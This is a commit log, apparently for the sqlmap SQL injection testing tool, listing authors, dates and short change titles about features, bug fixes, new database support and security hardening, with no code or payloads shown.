Miroslav Štampar a3b857ebae Minor update 2026-06-21 22:55:45 +02:00
Miroslav Štampar 7e652ed15d Adding some more pyunittests 2026-06-21 22:38:22 +02:00
Miroslav Štampar e82b1b56f7 Minor update 2026-06-21 22:36:48 +02:00
Miroslav Štampar 9d653d2d50 Making Keep-Alive on by default 2026-06-21 01:59:23 +02:00
Miroslav Štampar 6d306ba50d Rewritten the improved keep-alive handler 2026-06-21 00:39:33 +02:00
Miroslav Štampar e1aac02ef2 More improvements for JSON_AGG retrieval 2026-06-20 02:56:24 +02:00
Miroslav Štampar 35fefc3b65 Improvements for JSON_AGG retrieval 2026-06-20 02:28:21 +02:00
Miroslav Štampar 497d3772bd Adding keyset (seek) pagination for faster blind table dumps 2026-06-20 00:00:40 +02:00
Miroslav Štampar 889ad43541 Adding adaptive set-membership (Huffman) retrieval for faster blind dumps 2026-06-20 00:00:22 +02:00
Miroslav Štampar bbc49360c7 Fixing several inaccurate payload titles 2026-06-20 00:00:06 +02:00
Miroslav Štampar 2aed8d1513 Minor doctest fix 2026-06-19 23:59:52 +02:00
Miroslav Štampar 824ef464e1 Fixing issues with UNION and COLLATE on MySQL 2026-06-19 12:11:28 +02:00
Miroslav Štampar d5d6fac58d Minor patch 2026-06-19 09:45:25 +02:00
Miroslav Štampar a2d44a7a16 Minor patching 2026-06-19 00:55:11 +02:00
Miroslav Štampar 8de9c5899d Couple of improvements 2026-06-18 17:46:40 +02:00
Miroslav Štampar 8a458fc8d0 Removal of duplicate boundary 2026-06-18 13:14:15 +02:00
Miroslav Štampar 002a28f7f0 Couple of bug fixes 2026-06-18 13:04:59 +02:00
Miroslav Štampar 1404133538 Add --prove, opt-in --auto-tamper WAF bypass, and blindbinary/infoschema2innodb tampers 2026-06-17 15:58:08 +02:00
Miroslav Štampar a0cbfba9bd Adding support for better JSON comparison 2026-06-16 10:02:44 +02:00
Miroslav Štampar cc7f803d60 Adding ARCHITECTURE.md 2026-06-15 21:44:04 +02:00
Miroslav Štampar 75c4c868b4 Minor update 2026-06-15 21:14:10 +02:00
Miroslav Štampar 4e2438dc1e Minor patches 2026-06-15 20:53:14 +02:00
Miroslav Štampar ea1f089220 Adding some warning message 2026-06-15 18:29:32 +02:00
Miroslav Štampar be284e9fe5 Adding more unittests 2026-06-15 18:18:05 +02:00
Miroslav Štampar c210daca04 Minor bug fix 2026-06-15 18:17:31 +02:00
Miroslav Štampar 7c401cab64 Adding new unittest 2026-06-15 17:12:52 +02:00
Miroslav Štampar 91bf58b54e Adding --api-test for CI/CD 2026-06-15 16:58:57 +02:00
Miroslav Štampar d570f8e91f Fixing CI/CD issues 2026-06-15 16:09:41 +02:00
Miroslav Štampar 403855f701 Adding JSONL as a dump format 2026-06-15 16:04:39 +02:00
Miroslav Štampar 17e94c3409 Adding --report-json option 2026-06-15 15:35:33 +02:00
Miroslav Štampar 948d01d57a Fixing CI/CD failing 2026-06-15 09:59:01 +02:00
Miroslav Štampar 3816df1241 Adding unit tests 2026-06-15 09:50:47 +02:00
Miroslav Štampar 48b915b5ee Minor update 2026-06-15 01:20:48 +02:00
Miroslav Štampar 61d327aae1 Minor patch of RestrictedUnpickler 2026-06-15 01:11:53 +02:00
Miroslav Štampar d42e50367e Fixing some tamper script bugs 2026-06-15 00:41:38 +02:00
Miroslav Štampar 03fb84c5be Minor bug fixes 2026-06-14 21:44:04 +02:00
Miroslav Štampar 10c464cd6f Minor bug fixes 2026-06-14 21:40:44 +02:00
Miroslav Štampar e24678fc31 Couple of bug fixes 2026-06-14 17:05:32 +02:00
Miroslav Štampar bc4ce6e44a Minor patch for python2 2026-06-14 10:56:44 +02:00
Miroslav Štampar 93d2439624 Adding missing substring query entries 2026-06-14 09:40:45 +02:00
Miroslav Štampar 6fc0ddab8f Minor update 2026-06-14 09:15:12 +02:00
Zakaria Zoulati 9e92d3cc94 Merge branch 'master' into feature/add-SAP-HANA-support 2026-06-13 11:40:52 +01:00
zakaria-zoulati 3307babb14 Update the checksum 2026-06-13 11:34:11 +01:00
zakaria-zoulati d984593bcb Add SAP HANA Support 2026-06-13 11:22:40 +01:00
Miroslav Štampar bfe410c8d3 Minor update of error regexes 2026-06-12 17:50:13 +02:00
Miroslav Štampar 63b1b597aa Minor bug fix for boolean-blind file reads 2026-06-12 16:26:41 +02:00
Miroslav Štampar f09ea122fb Fixing custom xrange for negative steps 2026-06-12 13:04:51 +02:00
Miroslav Štampar 800e6f0a56 Making DuckDuckGo default search engine 2026-06-12 12:50:57 +02:00
Miroslav Štampar 000c4e5689 Minor bug for SQLAlchemy util class 2026-06-12 12:39:11 +02:00
Miroslav Štampar 4b08aaffd6 Minor patch 2026-06-12 12:16:14 +02:00
Miroslav Štampar 2e892102b7 Minor patch for between tamper script 2026-06-12 12:14:02 +02:00
Miroslav Štampar 1d1725f920 Minor update 2026-06-12 11:32:01 +02:00
Miroslav Štampar fc16a8e120 Minor improvement to equal tamper scripts 2026-06-12 11:22:51 +02:00
Miroslav Štampar 994292edec Re-evaluating tamper priorities 2026-06-12 11:07:14 +02:00
Miroslav Štampar 37322b5197 Minor patch 2026-06-12 10:45:40 +02:00
Miroslav Štampar 3a36265a22 Minor improvement of dynamic content removal 2026-06-12 10:39:59 +02:00
Miroslav Štampar b4a6d25795 Minor update of doctests 2026-06-12 10:12:19 +02:00
Miroslav Štampar 8e48af61b7 Minor patches 2026-06-12 00:09:07 +02:00
Miroslav Štampar 6e1fe6fbca Minor bug fix 2026-06-11 23:31:41 +02:00
Miroslav Štampar 543661721d Renaming REST-JSON API to REST API 2026-06-11 22:44:42 +02:00
Miroslav Štampar 8a2ad7d128 Minor update of swagger YAML 2026-06-11 21:19:08 +02:00
Miroslav Štampar e12d7a22d0 Minor patch of API calls 2026-06-11 21:15:58 +02:00
Miroslav Štampar 74b5ffd4dc Minor patch 2026-06-11 21:01:00 +02:00
Miroslav Štampar 7e565051bd Minor fix for calculating length of output items 2026-06-11 20:33:24 +02:00
Miroslav Štampar 680ebd9d3f Minor improvement for safeSQLIdentificator naming 2026-06-11 20:20:54 +02:00
Miroslav Štampar 6a95e63625 Minor patch 2026-06-11 19:58:58 +02:00
Miroslav Štampar d229d4d4d3 Minor patch 2026-06-11 19:57:01 +02:00
Miroslav Štampar 12b81504d9 Minor patch 2026-06-11 19:49:38 +02:00
Miroslav Štampar b67a6ad0d1 Minor patch 2026-06-11 19:34:22 +02:00
Miroslav Štampar da36d2826a Minor patch 2026-06-11 19:22:13 +02:00
Miroslav Štampar cd7ebe940c Minor patch 2026-06-11 19:20:22 +02:00
Miroslav Štampar 1555be2df4 Minor update 2026-06-11 19:13:51 +02:00
Miroslav Štampar 69e1bf2fbe Minor update 2026-06-11 19:11:43 +02:00
Miroslav Štampar df97e1da46 Minor patch 2026-06-11 19:07:12 +02:00
Miroslav Štampar 7747112340 Minor update 2026-06-11 18:38:54 +02:00
Miroslav Štampar a100496ec0 Minor update related to the previous commit 2026-06-11 18:28:33 +02:00
Miroslav Štampar bc9e51a551 Implementing greedy matches in case of dynamic content removal 2026-06-11 18:00:46 +02:00
Miroslav Štampar 1636b72243 Minor bug fix 2026-06-11 16:37:18 +02:00
Miroslav Štampar 85b8d36620 Couple of bug fixes 2026-06-11 16:17:56 +02:00
Miroslav Štampar be216041e2 Minor bug fix 2026-06-11 13:30:42 +02:00
Miroslav Štampar ef00b9fab2 Minor performance patch 2026-06-11 13:14:45 +02:00
Miroslav Štampar 5c691247e1 Minor update 2026-06-11 11:03:59 +02:00
Zakaria Zoulati 70b4d00364 Fix RTL rendering of file extensions in Arabic Readme (#6072) 2026-06-11 10:59:57 +02:00
Miroslav Štampar 2969563463 Switching references from defunct testphp to testasp site 2026-06-10 21:34:33 +02:00
Miroslav Štampar 00003b2825 Updating thirdparty/socks from SocksiPy to newer PySocks 2026-06-10 21:31:11 +02:00
Miroslav Štampar d27b560dbd Minor patch 2026-06-10 21:13:00 +02:00
Miroslav Štampar aaa3a0b9a1 Adding a missing/new file to chardet 2026-06-10 21:04:23 +02:00
Miroslav Štampar d47aacbfba Update of chardet to 4.0.0 2026-06-10 21:03:58 +02:00
Miroslav Štampar af0e46316a Update of wininetpton to latest revision 2026-06-10 20:40:22 +02:00
Miroslav Štampar 58db3a74d5 Updating the colorama to latest revision 2026-06-10 20:33:02 +02:00
Miroslav Štampar bfa412fb75 Minor update of CI/CD workflow 2026-06-10 19:42:23 +02:00
Miroslav Štampar f6861d227b Improving Swagger YAML for REST-JSON API server 2026-06-10 19:10:13 +02:00
Miroslav Štampar ab1efed0d5 Harden REST API option handling and require authentication credentials (#6073) 2026-06-10 18:37:46 +02:00
Miroslav Štampar ecf8ccc72e Dummy update 2026-06-10 18:19:04 +02:00
Bernardo Damele A. G. 11836f8299 Update .gitignore 2026-06-09 20:21:50 +02:00
Bernardo Damele A. G. 3142e7b9cc Added tarsier 2026-06-09 20:19:49 +02:00
Miroslav Štampar e48cce3fa3 Minor just in case patch for BigArray 2026-06-05 14:02:07 +02:00
Miroslav Štampar 430399c72a Minor improvement of BigArray/pop() 2026-06-05 13:52:10 +02:00
Miroslav Štampar 899447fbae Improvement of compat/LooseVersion 2026-06-05 13:46:14 +02:00
Miroslav Štampar 8a19966017 Minor patch for parsePasswordHash 2026-06-05 13:36:44 +02:00
Miroslav Štampar 5a4a8eed62 Minor patch 2026-06-05 13:35:01 +02:00
Miroslav Štampar 0ac9883767 Minor patch 2026-06-05 13:27:48 +02:00
Miroslav Štampar dca0bb648d Patching some more unsafe unpickling 2026-06-05 13:22:53 +02:00
Miroslav Štampar 57086969cc Bug fix for cracking of Base64 hashes on DREI 2026-06-05 12:51:45 +02:00
Miroslav Štampar d96ac7c777 Minor patch 2026-06-05 12:49:37 +02:00
Miroslav Štampar c6d272bb81 Minor patch for HTTP/2 connections (with error responses) 2026-06-05 12:39:48 +02:00
Miroslav Štampar b702cbae88 Implementing MAX_CONNECTION_TOTAL_SIZE check for websocket responses 2026-06-05 12:33:26 +02:00
Miroslav Štampar 7dc414b06b Minor update for sqlmap API task_delete 2026-06-05 12:28:55 +02:00
Miroslav Štampar 69efd623c9 Couple of small fixes 2026-06-05 12:07:15 +02:00
Miroslav Štampar 8110ccb38a Bug fix for xp_cmdshell in boolean techniques 2026-06-05 11:44:18 +02:00
Miroslav Štampar 5e4ddcc953 Minor patch 2026-06-05 11:34:27 +02:00
Miroslav Štampar 89d6b94d0d Patches #6068 2026-06-05 11:00:44 +02:00
Miroslav Štampar 85a71c2b49 Minor patch 2026-06-04 21:58:15 +02:00
Miroslav Štampar cfd9309be4 Minor patch 2026-06-04 21:50:49 +02:00
Miroslav Štampar 3e8a69cfbe Minor patch 2026-06-04 21:34:11 +02:00
Miroslav Štampar b67ea8f294 Minor fix 2026-06-04 21:32:06 +02:00
Miroslav Štampar 195c4bec34 Further improving Set-Cookie logic in redirections 2026-06-04 21:28:54 +02:00
Miroslav Štampar 249d2a6cbb Fixing mime-type recognition in dumped values 2026-06-04 21:25:20 +02:00
Miroslav Štampar 10282a3993 Fixing Set-Cookie handling in redirection responses 2026-06-04 21:20:16 +02:00
Miroslav Štampar 8d91c65bdb Minor patch for --parse-errors logic 2026-06-04 21:06:07 +02:00
Miroslav Štampar b3f3405775 Minor patch for Oracle's readFile 2026-06-04 20:54:07 +02:00
Miroslav Štampar 3d0932c217 Minor patch for MsSQL stacked file reading 2026-06-04 20:51:21 +02:00
Miroslav Štampar 244d283198 Minor patch for stacked file writing in HSQLDB 2026-06-04 20:49:50 +02:00
Miroslav Štampar 4f425792e3 Fixing Java-based connectors 2026-06-04 20:47:10 +02:00
Miroslav Štampar 46ba1d1bf1 Fixing stacked writing for PgSQL 2026-06-04 20:39:59 +02:00
Miroslav Štampar 6d1382f448 Minor patch for MaxDB and Sybase enumeration 2026-06-04 20:38:31 +02:00
Miroslav Štampar a20f930844 Fixing MsSQL stacked file write 2026-06-04 20:21:34 +02:00
Miroslav Štampar 0d4aff7e1a Fixing MySQL stacked file reading 2026-06-04 20:18:12 +02:00
Miroslav Štampar 2f4ff0d430 Minor patches to tamper scripts 2026-06-04 20:06:07 +02:00
Miroslav Štampar 2c356ed22a Minor fix of space2 tamper scripts 2026-06-04 20:00:38 +02:00
Miroslav Štampar f564db0d56 Minor correction of quote mechanism in tamper scripts 2026-06-04 19:54:53 +02:00
Miroslav Štampar 06b74f9390 Minor update of random tamper scripts 2026-06-04 19:52:38 +02:00
Miroslav Štampar ae851d9511 Fixing versioned tamper scripts 2026-06-04 19:50:06 +02:00
Miroslav Štampar d373eeaea5 Fixing shitty concat2concatws tamper script 2026-06-04 19:40:58 +02:00
potato-20 762037e78d Fix ineffective chardet MINIMUM_THRESHOLD patch (#6024) 2026-06-04 19:28:32 +02:00
Miroslav Štampar b30c169b8a Avoid eval processing crash on JSON arrays 2026-06-02 14:00:09 +02:00
Miroslav Štampar 4caeff9cf4 Preserve equals signs in answer values 2026-06-02 13:58:19 +02:00
Miroslav Štampar 8cac5fdab6 Fix forced SSL port rewrite 2026-06-02 13:56:32 +02:00
Miroslav Štampar bfe39d010f Fix WebSocket request header formatting 2026-06-02 13:54:48 +02:00
Miroslav Štampar fadf5bb753 Honor injected Host header value 2026-06-02 13:46:32 +02:00
Miroslav Štampar 8258d6d233 Strip Brotli from Accept-Encoding header 2026-06-02 13:46:31 +02:00
Your Name bc252ef010 Handle unicode strings in color stripping 2026-06-02 13:40:50 +02:00
Your Name aa0fb23314 Normalize default WebSocket ports 2026-06-02 13:40:00 +02:00
Your Name 36c55a33fb Handle unknown WebSocket status codes 2026-06-02 13:37:29 +02:00
Your Name c07b15666c Fix retry-on check on empty response 2026-06-02 13:36:13 +02:00
Your Name 220a75b230 Support colon character in direct DBMS passwords 2026-06-02 13:07:45 +02:00
Your Name 5a12bd290d Fix WebSocket request traffic logging 2026-06-02 13:06:29 +02:00
Your Name e659543048 Fixing a potential deflate issues 2026-05-15 22:11:23 +02:00
Your Name d77e925a10 Minor update 2026-05-08 18:04:33 +02:00
Your Name 1a6a5b1226 Fixes #6059 2026-05-08 17:45:27 +02:00
Your Name dfbba622fc Minor update 2026-05-02 08:59:38 +02:00
ChrisJr404andChris 026e5d05f4 Fix stdoutEncode mangling non-string values used by REST API (#6054) (#6056)
Co-authored-by: Chris (ChrisJr404) <[email protected]>
2026-05-02 08:57:16 +02:00
Pierre 4489b2c0d2 fix: add missing import in lib.utils.api (#6055) 2026-05-02 08:53:37 +02:00
Your Name 41330aa3b7 Making stuff boring for P3 lurkers 2026-04-24 20:50:59 +02:00
Your Name cc74bdfbad Update of settings for exception reporting 2026-04-24 20:21:41 +02:00
Your Name e40a9a3b87 Fixing the CI/CD 2026-04-23 16:40:11 +02:00
Your Name 09aaa9b847 Implementing SQLMAP_UNSAFE_EVAL 2026-04-23 16:28:31 +02:00
Your Name dec5a82077 Adding 'safe string cmp' to API 2026-04-23 16:23:59 +02:00
Your Name 5e5629cd7a Revert of last commit 2026-04-23 16:21:02 +02:00
Your Name 2b2796d859 Minor expansion of blacklisted pickle methods 2026-04-23 16:15:04 +02:00
Your Name 3cec18f323 Expanding RESTAPI_UNSUPPORTED_OPTIONS 2026-04-23 16:12:43 +02:00
Your Name fdf6673dbb Dealing with some pesky issues 2026-04-23 16:02:06 +02:00
Your Name 39b8ff4bec Patch for #6049 2026-04-17 10:42:01 +02:00
Your Name 93cbbc2378 Hiding --alert behind SQLMAP_UNSAFE_ALERT 2026-04-15 19:27:35 +02:00
Your Name 608412907a Implementing safe(r) pickle loads 2026-04-15 19:18:30 +02:00
Your Name c20c718dc3 Minor refactoring 2026-04-15 19:08:17 +02:00
Your Name 3ae174a94d Fixes #6043 2026-04-09 18:01:47 +02:00
Your Name c310c695a1 Fixes #6040 2026-03-30 10:59:44 +02:00
Your Name 0ed5cd2cfd Fixes #6037 2026-03-20 09:26:05 +01:00
Your Name e433332423 Minor update 2026-03-18 17:47:28 +01:00
Miroslav Stampar 4bb7644f73 Changing the dubious CoC 2026-03-17 22:22:40 +01:00
Miroslav Stampar eeb16d155c Adding missing Spanner directory (#6025) 2026-03-15 13:09:51 +01:00
Miroslav Stampar 3c16bfdb3c Dummy update 2026-03-14 10:53:05 +01:00
Miroslav Stampar 79c9db10a9 Adding support for Spanner DBMS (#6025) 2026-03-14 10:52:00 +01:00
Miroslav Stampar 7ad4d6760b Fixes #6033 2026-03-13 14:23:12 +01:00
Miroslav Stampar 3fe094a4c3 Minor patch related to #6029 2026-03-11 13:09:38 +01:00
Miroslav Stampar 56f02e5d5b Fixes #6029 2026-03-11 13:07:34 +01:00
Miroslav Stampar 083f54b7df Minor refactoring 2026-03-10 14:51:28 +01:00
Miroslav Stampar bbadc0d583 Dummy update 2026-03-10 14:44:01 +01:00
Miroslav Stampar b93bc51d65 Minor improvement of ERROR_PARSING_REGEXES 2026-03-10 14:42:51 +01:00
Miroslav Stampar c2f86976fb Fixes #6022 2026-02-26 11:18:19 +01:00
Miroslav Stampar 959ba63f78 Minor update 2026-02-21 14:39:47 +01:00
cui d2106f278e fix: close when throw exception (#6019) 2026-02-21 14:35:26 +01:00
Miroslav Stampar dbe45a477b Minor patch 2026-02-17 22:26:22 +01:00
Miroslav Stampar 0b5eb377c0 Fixes #6017 2026-02-17 22:22:19 +01:00
Miroslav Stampar 5a097c74c0 Minor refresh of cloaked files 2026-02-05 11:10:10 +01:00
Miroslav Stampar b1e36c6ddc Minor update for #6015 2026-02-05 10:54:14 +01:00
soffensiveandsoffensive 9312d26da8 Make XML/HTML encoding in SOAP requests optional (#6015)
Co-authored-by: soffensive <soffensive>
2026-02-05 10:52:25 +01:00
Miroslav Stampar 2b6115c70c Minor optimization of socket preconnect 2026-02-03 12:06:46 +01:00
Miroslav Stampar 2e6820f981 Doing some fine tuning for WAF detection 2026-02-03 10:49:28 +01:00
Miroslav Stampar f00e8f5b71 Minor optimization 2026-02-03 10:34:08 +01:00
Miroslav Stampar 49ef9d614d Releasing the pressure on CI/CD 2026-02-03 10:06:34 +01:00
Miroslav Stampar be07aea5fb Minor patch 2026-02-03 10:03:34 +01:00
Miroslav Stampar 97851871f5 Minor optimization 2026-02-03 09:26:32 +01:00
Miroslav Stampar ea0783d381 Minor update of PostgreSQL aggregate payload 2026-02-02 23:44:05 +01:00
Miroslav Stampar 4a913d2ab1 Minor update 2026-02-02 22:23:23 +01:00
Miroslav Stampar 4af3195041 Fixing CI/CD issues with keep-alive 2026-02-02 12:19:20 +01:00
Miroslav Stampar 96645deee1 Minor patch for sitemap parsing 2026-02-01 23:48:53 +01:00
Miroslav Stampar f08f860bd7 Minor patch 2026-02-01 23:32:45 +01:00
Miroslav Stampar 5640ba7795 Fixing AttribDict/pickle issue 2026-02-01 23:03:00 +01:00
Miroslav Stampar d54907da1d Improving keep-alive support 2026-02-01 22:57:47 +01:00
Miroslav Stampar c8ccc317bf Simplifying cachedmethod 2026-01-30 18:35:19 +01:00
Miroslav Stampar 914b4498e8 Fixing CI/CD issues 2026-01-29 01:11:28 +01:00
Miroslav Stampar 00ca27c1a6 Adding back a removed break 2026-01-29 00:11:39 +01:00
Miroslav Stampar f7fb153fdd Adding some better heuristics into the checkSums 2026-01-29 00:07:24 +01:00
Miroslav Stampar 360dc478c0 Normalization of CRLF inside checkSums 2026-01-28 23:58:35 +01:00
Miroslav Stampar 60950bc03b Changing order of MySQL error-based payloads 2026-01-28 23:41:05 +01:00
Miroslav Stampar 7be7240ed6 Promotion of MySQL/GTID_SUBSET payloads 2026-01-28 23:37:41 +01:00
Miroslav Stampar c871a37693 Demotion of MySQL/FLOOR payloads 2026-01-28 23:35:02 +01:00
Miroslav Stampar a4c1afafee Speed optimization of HashDB 2026-01-28 22:56:09 +01:00
Miroslav Stampar 2172aea6e4 Speed up of HashDB related operations 2026-01-28 21:39:24 +01:00
Miroslav Stampar 8a97346564 Bug fix 2026-01-28 20:47:00 +01:00
Miroslav Stampar 7767999116 Minor improvement 2026-01-28 19:52:30 +01:00
Miroslav Stampar cb36ff7f22 Minor optimization of _setSocketPreConnect 2026-01-28 19:41:37 +01:00
Miroslav Stampar ebfc481755 Removing some dummy blanks 2026-01-28 19:08:11 +01:00
Miroslav Stampar b54929af28 Minor optimization of prioritySortColumns 2026-01-28 19:07:19 +01:00
Miroslav Stampar fcd3eae668 Fixing checkSameHost to work with IPv6 addresses 2026-01-28 19:01:07 +01:00
Miroslav Stampar 0ce9d4aeb7 Minor update 2026-01-28 18:56:12 +01:00
Miroslav Stampar cd6e2f1c8a Minor optimization of randomizeParameterValue 2026-01-28 18:53:00 +01:00
Miroslav Stampar fbee649fb6 Minor optimization of chunkSplitPostData 2026-01-28 18:49:46 +01:00
Miroslav Stampar 362f7aae0a Minor optimization of findMultipartPostBoundary 2026-01-28 18:46:59 +01:00
Miroslav Stampar 600823f7c1 Minor improvement of BigArray 2026-01-28 18:31:14 +01:00
Miroslav Stampar 683c258600 Trivial optimization of BigArray 2026-01-28 18:19:27 +01:00
Miroslav Stampar e9e0b6a7fe Minor optimization of headersParser logic 2026-01-28 18:14:03 +01:00
Miroslav Stampar caccfe85ed Minor patch for DNS cache 2026-01-28 18:06:53 +01:00
Miroslav Stampar 1a97d9e296 Removing some deprecated components 2026-01-28 16:20:39 +01:00
Miroslav Stampar 72fcb66fe8 Minor improvement of AttribDict logic 2026-01-27 11:27:55 +01:00
Miroslav Stampar 51b56820f7 Minor improvement of getRevisionNumber logic 2026-01-27 11:11:01 +01:00
Miroslav Stampar f31ea1e2f5 Minor improvement of BigArray's iter 2026-01-27 11:03:40 +01:00
Miroslav Stampar 657eb464f8 Minor update 2026-01-27 00:33:22 +01:00
Miroslav Stampar e6e1bdc5b7 Minor improvement 2026-01-27 00:27:21 +01:00
Miroslav Stampar 876f14199e Update of tests' workflow 2026-01-23 10:49:12 +01:00
Miroslav Stampar 21d0c67bf7 Minor update 2026-01-18 17:02:29 +01:00
Miroslav Stampar 9063c21f62 Fixes #6007 2026-01-18 16:54:04 +01:00
Miroslav Stampar d9102e03c6 Moving binary to textual file openings 2026-01-18 00:05:05 +01:00
Miroslav Stampar e62e8c6cea Minor patch 2026-01-17 23:21:13 +01:00
Miroslav Stampar 57047ba8cf Minor update 2026-01-17 23:03:53 +01:00
Miroslav Stampar 568e9f0d37 Bug fix 2026-01-17 22:39:57 +01:00
Miroslav Stampar 648752c508 Couple of patches 2026-01-17 22:29:20 +01:00
Miroslav Stampar 264095aa97 Removing some dead code 2026-01-16 16:51:34 +01:00
Miroslav Stampar 5224a3a496 Update of Bottle version 2026-01-16 16:45:11 +01:00
Miroslav Stampar c57f461441 Minor update 2026-01-16 16:36:32 +01:00
Miroslav Stampar 9d18c81fe0 Implementing lazy load for connector modules 2026-01-16 14:08:38 +01:00
Miroslav Stampar d5cd281e31 Minor patch 2026-01-16 13:57:45 +01:00
Miroslav Stampar 05f2e174c0 Fixes #6006 2026-01-16 13:54:44 +01:00
Miroslav Stampar 636c12b356 Adding missing alias for DM8 (#5894) 2026-01-14 15:32:53 +01:00
Miroslav Stampar ab7ce92d83 Minor update 2026-01-13 23:13:52 +01:00
Miroslav Stampar d4349a88e4 Minor patch 2026-01-13 20:42:37 +01:00
Miroslav Stampar 89d47893ef Minor patch 2026-01-13 20:31:56 +01:00
Miroslav Stampar 38f3f16127 Minor update of common-outputs.txt 2026-01-12 23:32:06 +01:00
Miroslav Stampar 7c4e4247d8 Minor update of years 2026-01-12 23:17:10 +01:00
Miroslav Stampar 8c63d4c4a6 Minor patch for Snowflake implementation (#5980) 2026-01-12 23:11:46 +01:00
Miroslav Stampar f36d040206 Adding support for --privileges to Snowflake implementation (#5980) 2026-01-12 22:51:48 +01:00
Miroslav Stampar ef6c3d40d3 Adding support for --statements to Snowflake implementation (#5980) 2026-01-12 22:41:42 +01:00
Miroslav Stampar 07aa7f994d Adding support for --hostname to Snowflake implementation (#5980) 2026-01-12 22:35:56 +01:00
Miroslav Stampar 9e29d7af8c Fixing a typo for Snowflake implementation (#5980) 2026-01-12 22:02:03 +01:00
Miroslav Stampar 88f22c3440 Heuristic checks for Snowflake implementation (#5980) 2026-01-12 21:28:41 +01:00
Miroslav Stampar 3d70e2511b Trivial update 2026-01-12 20:24:13 +01:00
Miroslav Stampar 04bf68f4ea Fixes #6005 2026-01-12 20:22:29 +01:00
Miroslav Stampar 1da33b9901 Some more fixes for Snowflake implementation (#5980) 2026-01-12 19:39:22 +01:00
Miroslav Stampar b5a1f6fa09 Lots of fixes for Snowflake implementation (#5980) 2026-01-12 19:26:14 +01:00
Miroslav Stampar b0feb2a0fd Minor update (#5980) 2026-01-12 12:09:25 +01:00
Miroslav Stampar 29c5117ee3 Bump some years in headers 2026-01-12 12:02:57 +01:00
Miroslav Stampar fd9045cbc6 Fixing python2 compatibility issue (#5980) 2026-01-12 12:01:41 +01:00
Jaggar Henry 279a9b3314 Added "Snowflake" DBMS support (#5980)
* Added SQL queries for 'Snowflake' DBMS

* Added necessary constants for the 'Snowflake' DBMS

* Added the 'Snowflake' DBMS to existing conditional which adds dynamic values to hardcoded statements (queries.xml)

* Added plugin logic for the 'Snowflake' DBMS

* Modified 'dbs' query to include 'ORDER BY'

* Moved 'LIMIT' to appear before 'OFFSET'
2026-01-12 11:59:00 +01:00
Miroslav Stampar e9a9d90837 Minor patch to MsSQL fingerprinting 2026-01-11 23:23:43 +01:00
Miroslav Stampar a995e1afb4 Minor update of vuln testing 2026-01-10 11:37:39 +01:00
Miroslav Stampar bc0d2a11a3 Minor update 2026-01-09 17:01:00 +01:00
Miroslav Stampar 7bc3741a48 Minor patch 2026-01-09 00:08:03 +01:00
Miroslav Stampar 363a405fa0 Minor update 2026-01-08 23:59:47 +01:00
Miroslav Stampar e2534b3c36 Adding test check for --titles 2026-01-08 23:47:06 +01:00
Miroslav Stampar 65ce6ba4c9 Implementing CSRF case into vuln testing 2026-01-08 23:31:40 +01:00
Miroslav Stampar 2e00154e38 Fixing thread-safety in getHeuristicCharEncoding 2026-01-08 20:59:40 +01:00
Miroslav Stampar 603295e68d Minor update of vulnserver testing 2026-01-08 20:49:17 +01:00
Miroslav Stampar 69a613ef67 Minor improvement 2026-01-07 17:34:26 +01:00
Miroslav Stampar 69eca57915 Minor update 2026-01-05 00:31:50 +01:00
Miroslav Stampar 5864dd4949 Minor patching 2026-01-04 23:48:50 +01:00
Miroslav Stampar dc30e60082 Minor patches 2026-01-04 23:39:28 +01:00
Miroslav Stampar 4af6dad130 Minor patch 2026-01-04 20:54:50 +01:00
Miroslav Stampar 58ebc41b28 Minor update 2026-01-04 20:46:18 +01:00
Miroslav Stampar 9e436efbc5 Minor update 2026-01-04 20:36:46 +01:00
Miroslav Stampar 760fac59d8 Minor patch of max connection total size 2026-01-04 20:34:57 +01:00
Miroslav Stampar 15c65d084c Minor patch 2026-01-04 20:23:41 +01:00
Miroslav Stampar 6ef62d0201 Minor improvement of PKI handler 2026-01-04 20:22:02 +01:00
Miroslav Stampar 8c9e70496b Proper patch for #6000 2026-01-04 20:08:43 +01:00
Farhan Ansari ec123bafb1 Fix broken GitHub downloads URL in update message (#6001)
The /downloads endpoint was removed by GitHub years ago and now returns 404. Updated to point to /releases which has the actual download links.
2026-01-04 20:05:13 +01:00
Miroslav Stampar 737f2279e2 Adding credits for --tui (#5965) 2026-01-02 01:35:56 +01:00
Miroslav Stampar 4a40101647 Dummy update 2026-01-01 19:29:27 +01:00
Miroslav Stampar ea8c6bdb63 Update of checksums 2026-01-01 19:24:45 +01:00
Miroslav Stampar 1a3fca5652 Update of changelog 2026-01-01 19:16:10 +01:00
Miroslav Stampar dd3780d7f8 Version bump 2026-01-01 19:14:22 +01:00
Miroslav Stampar f69a63b2b6 Year bump 2026-01-01 19:12:07 +01:00
Miroslav Stampar 1c3f2dc347 More patching (#5965) 2025-12-31 15:22:13 +01:00
Miroslav Stampar 70c3c12a03 More refactoring (#5965) 2025-12-31 15:05:04 +01:00
Miroslav Stampar 894bed9031 More refactoring (#5965) 2025-12-31 14:58:26 +01:00
Miroslav Stampar e1a509ebb7 Minor refactoring (#5965) 2025-12-31 14:53:59 +01:00
tanaydin sirin ac2bd503d7 Add ncurses GUI support with command line integration (#5965) 2025-12-31 14:45:26 +01:00
Miroslav Stampar 66983d31d7 Minor update 2025-12-31 14:35:21 +01:00
Miroslav Stampar 49902fe5ef Minor patch 2025-12-31 12:14:51 +01:00
Miroslav Stampar 09fadc43d3 Minor improvement of stdoutEncode 2025-12-31 11:04:12 +01:00
Miroslav Stampar ba05bb6064 Minor refactoring 2025-12-31 10:35:40 +01:00
Miroslav Stampar 883bd2398b Minor refactoring 2025-12-31 10:21:53 +01:00
Miroslav Stampar db512c7603 Fixes #5961 2025-12-31 00:28:44 +01:00
Miroslav Stampar 33cd5d5055 Implements #116 2025-12-31 00:13:42 +01:00
Miroslav Stampar d7be168f79 Minor update 2025-12-30 23:13:04 +01:00
Miroslav Stampar 60a306b34d Minor bug fix 2025-12-30 22:57:19 +01:00
Miroslav Stampar e92a383fba Minor update 2025-12-30 22:54:47 +01:00
Miroslav Stampar 905e541347 Minor update 2025-12-30 22:34:21 +01:00
Miroslav Stampar 6e1a40d755 Minor improvements 2025-12-30 22:30:52 +01:00
Miroslav Stampar 6f97e8cd31 Minor update 2025-12-30 22:17:41 +01:00
Miroslav Stampar 9da2bde989 Minor fixes 2025-12-30 22:04:29 +01:00
Miroslav Stampar 95bd377b26 Minor patch 2025-12-30 21:56:45 +01:00
Miroslav Stampar bb73c60dc0 Doing recloacking 2025-12-30 21:18:16 +01:00
Miroslav Stampar 5cc46916cc Minor update 2025-12-30 21:16:24 +01:00
Miroslav Stampar 53aafe92fe Minor bug fix 2025-12-30 13:42:22 +01:00
